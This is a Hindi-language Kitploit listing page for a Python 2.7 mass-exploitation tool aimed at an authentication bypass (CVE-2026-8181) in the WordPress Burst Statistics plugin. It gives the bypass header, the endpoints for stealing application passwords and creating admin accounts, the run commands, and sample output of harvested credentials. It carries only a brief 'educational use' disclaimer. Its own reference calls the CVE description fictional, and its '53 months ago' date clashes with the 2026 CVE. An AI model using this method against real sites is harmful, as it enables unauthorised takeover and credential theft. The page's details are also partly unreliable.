Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8181 — CVE-2026-8181: बर्स्ट स्टैटिस्टिक्स ऑथ बाईपास → REST API अधिग्रहण और व्यवस्थापक निर्माण। पायथन 2.7। केवल शैक्षिक उपयोग। | Kitploit
उपकरण/GitHubGitHub/jenderal92/cve-2026-8181
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubjenderal92/cve-2026-8181

CVE-2026-8181

CVE-2026-8181: बर्स्ट स्टैटिस्टिक्स ऑथ बाईपास → REST API अधिग्रहण और व्यवस्थापक निर्माण। पायथन 2.7। केवल शैक्षिक उपयोग।

रिपॉजिटरी देखें
53 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-8181 - Burst Statistics प्रमाणीकरण बायपास शोषण

Python 2.7 शोषण Burst Statistics प्लगइन भेद्यता (CVE-2026-8181) के लिए जो अप्रमाणित हमलावरों को REST API प्रमाणीकरण को बायपास करने, एप्लिकेशन पासवर्ड प्राप्त करने और कमजोर WordPress साइटों पर नए प्रशासक उपयोगकर्ता बनाने की अनुमति देता है।

⚠️ अस्वीकरण
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। केवल उन वेबसाइटों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति है। अधिक अस्वीकरण आप Jenderal92 के कवर पर देख सकते हैं। आप इसे यहां !!! देख सकते हैं।

CVE-2026-8181 WordPress के लिए Burst Statistics प्लगइन (पैच से पहले के संस्करणों) को प्रभावित करता है। दोष REST API प्रमाणीकरण तंत्र में है, जो एक हमलावर को अनुमति देता है:

  • एक तैयार X-BURSTMAINWP हेडर भेजकर प्रमाणीकरण बायपास करना
  • /burst/v1/mainwp-auth एंडपॉइंट के माध्यम से एप्लिकेशन पासवर्ड प्राप्त करना
  • WordPress REST API के माध्यम से विशेषाधिकार प्राप्त कार्य करना (उपयोगकर्ताओं को सूचीबद्ध करना, सेटिंग्स पढ़ना, नए व्यवस्थापक खाते बनाना)

विशेषताएँ

  • मल्टी-थ्रेडेड स्कैनिंग (डिफ़ॉल्ट 10 थ्रेड)
  • WordPress आधार पथों का स्वचालित पता लगाना (/, /wordpress, )
/wp
  • /wp-json/wp/v2/users या लेखक आईडी रीडायरेक्ट के माध्यम से उपयोगकर्ता नाम गणना
  • प्रमाणीकरण बायपास का शोषण:
    • एप्लिकेशन पासवर्ड प्राप्त करना (Base64 एन्कोडेड टोकन)
    • संवेदनशील REST एंडपॉइंट्स (सेटिंग्स, प्लगइन्स, व्यवस्थापक उपयोगकर्ता) तक पहुंच सत्यापित करना
    • यादृच्छिक क्रेडेंशियल्स के साथ एक नया व्यवस्थापक उपयोगकर्ता बनाना
  • दो आउटपुट फ़ाइलें:
    • res_login.txt – संक्षिप्त, पाइप‑पृथक REST API क्रेडेंशियल्स (पार्स/आयात करने में आसान)
    • full_res_login.txt – पूर्ण मानव‑पठनीय रिपोर्ट जिसमें एक्सेस सत्यापन और एप्लिकेशन पासवर्ड शामिल हैं

    • आवश्यकताएँ

    • Python 2.7 (अप्रचलित लेकिन स्क्रिप्ट के लिए आवश्यक)
    • requests लाइब्रेरी
    root@kitploit:~
    pip install requests

    उपयोग

    1. एक लक्ष्य सूची फ़ाइल तैयार करें (प्रति पंक्ति एक डोमेन या IP, http:///https:// के साथ या बिना)।

      उदाहरण targets.txt:

      root@kitploit:~
      example.com
https://vulnerable-site.com
127.0.0.1/wordpress

    2. शोषण चलाएँ:

    root@kitploit:~
    python2 CVE-2026-8181.py targets.txt
    1. परिणाम वर्तमान निर्देशिका में दो फ़ाइलों में सहेजे जाते हैं:
      • res_login.txt – REST API क्रेडेंशियल्स (प्रति कमजोर लक्ष्य एक पंक्ति)
      • full_res_login.txt – विस्तृत रिपोर्ट

    कमांड लाइन विकल्प

    तर्कविवरण
    list.txtलक्ष्य URL वाली फ़ाइल का पथ

    उदाहरण आउटपुट (कंसोल)

    root@kitploit:~
    ============================================================
CVE-2026-8181 - Burst Statistics Auth Bypass Exploit
============================================================
[*] कुल लक्ष्य: 2
[*] थ्रेड: 10
[*] आधार पथ: ['', '/wordpress', '/wp']

[*] स्कैनिंग: example.com
    पथ पर प्रयास: /
    उपयोगकर्ता नाम का पता चला: admin
    [+] कमजोर! REST API बायपास सफल
    [+] एप्लिकेशन पासवर्ड प्राप्त हुआ!
    [+]   उपयोगकर्ता नाम: admin
    [+]   ऐप पासवर्ड: xxxx xxxx xxxx
    [+]   Base64 टोकन: YWRtaW46eHh4eA==
    [+] पहुंच की पुष्टि: WordPress सेटिंग्स
    [+] पहुंच की पुष्टि: स्थापित प्लगइन्स
    [+] पहुंच की पुष्टि: व्यवस्थापक उपयोगकर्ता
    [+] REST API के माध्यम से व्यवस्थापक उपयोगकर्ता बनाया गया: wp_abc123
    [+] परिणाम res_login.txt और full_res_login.txt में सहेजे गए

    आउटपुट फ़ाइल प्रारूप

    1. res_login.txt – संक्षिप्त REST API क्रेडेंशियल्स

    प्रत्येक पंक्ति इस पाइप‑पृथक प्रारूप का अनुसरण करती है:

    root@kitploit:~
    लक्ष्य|उपयोगकर्ता नाम|पासवर्ड|ईमेल|उपयोगकर्ता आईडी

    उदाहरण:

    root@kitploit:~
    http://example.com|wp_xyz789|AbC123xyz456|[email protected]|42

    यह प्रारूप इसके लिए आदर्श है:

    • पासवर्ड मैनेजर या डेटाबेस में आयात करना
    • आगे की कार्रवाइयों को स्वचालित करना (जैसे, लॉगिन स्क्रिप्ट)
    • cut, grep, या Excel के साथ त्वरित निरीक्षण

    2. full_res_login.txt – पूर्ण विस्तृत रिपोर्ट

    प्रत्येक कमजोर लक्ष्य के लिए, स्क्रिप्ट एक मानव‑पठनीय ब्लॉक जोड़ती है:

    root@kitploit:~
    ============================================================
लक्ष्य: http://example.com
============================================================

[+] पहुंच सत्यापन:
    [+] WordPress सेटिंग्स
    [+] स्थापित प्लगइन्स
    [+] व्यवस्थापक उपयोगकर्ता

[+] REST API क्रेडेंशियल्स:
    उपयोगकर्ता नाम: wp_abc123
    पासवर्ड: random12char
    ईमेल: [email protected]
    उपयोगकर्ता आईडी: 42
    URL: http://example.com/wp-admin/
    नोट: X-BURSTMAINWP हेडर के साथ उपयोग करें

[+] एप्लिकेशन पासवर्ड:
    उपयोगकर्ता नाम: admin
    ऐप पासवर्ड: xxxx xxxx xxxx
    Base64 टोकन: YWRtaW46eHh4eA==

    नोट: यदि एप्लिकेशन पासवर्ड एंडपॉइंट उपलब्ध नहीं है या कोई टोकन नहीं लौटाता है, तो वह अनुभाग FAILED दिखाएगा।

    यह कैसे काम करता है

    1. लक्ष्य तैयारी – यदि http:// उपसर्ग गायब है तो जोड़ता है, अंतिम स्लैश हटाता है।
    2. पथ पुनरावृत्ति – WordPress आधार निर्देशिकाओं के रूप में /, /wordpress, और /wp आज़माता है।
    3. उपयोगकर्ता नाम गणना – /wp-json/wp/v2/users लाता है या ?author=N रीडायरेक्ट का उपयोग करता है।
    4. बायपास परीक्षण – उपयोगकर्ता नाम और डमी पासवर्ड (CVE-2026-8181) के साथ X-BURSTMAINWP: 1 + मूल प्रमाणीकरण भेजता है। यदि एंडपॉइंट /wp-json/wp/v2/users/me?context=edit 200 लौटाता है, तो साइट कमजोर है।
    5. शोषण –
      • एप्लिकेशन पासवर्ड टोकन प्राप्त करने के लिए /wp-json/burst/v1/mainwp-auth का अनुरोध करता है।
      • /settings, /plugins, /users तक पहुंच सत्यापित करता है।
      • POST /wp-json/wp/v2/users के माध्यम से एक नया व्यवस्थापक खाता बनाता है।
    6. परिणाम सहेजना – संक्षिप्त REST क्रेडेंशियल्स res_login.txt में और पूर्ण विवरण full_res_login.txt में लिखता है।

    अनुकूलन

    आप स्क्रिप्ट के अंदर इन वेरिएबल्स को संशोधित कर सकते हैं:

    • THREADS – समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट 10)
    • BASE_PATHS – जाँचने के लिए अतिरिक्त WordPress उपनिर्देशिकाएँ
    • requests टाइमआउट मान

    लाइसेंस

    यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। अपने जोखिम पर उपयोग करें।

    संदर्भ

    • CVE-2026-8181 विवरण (काल्पनिक)
    • Burst Statistics प्लगइन (प्रभावित संस्करण)
    टूल डाउनलोड करें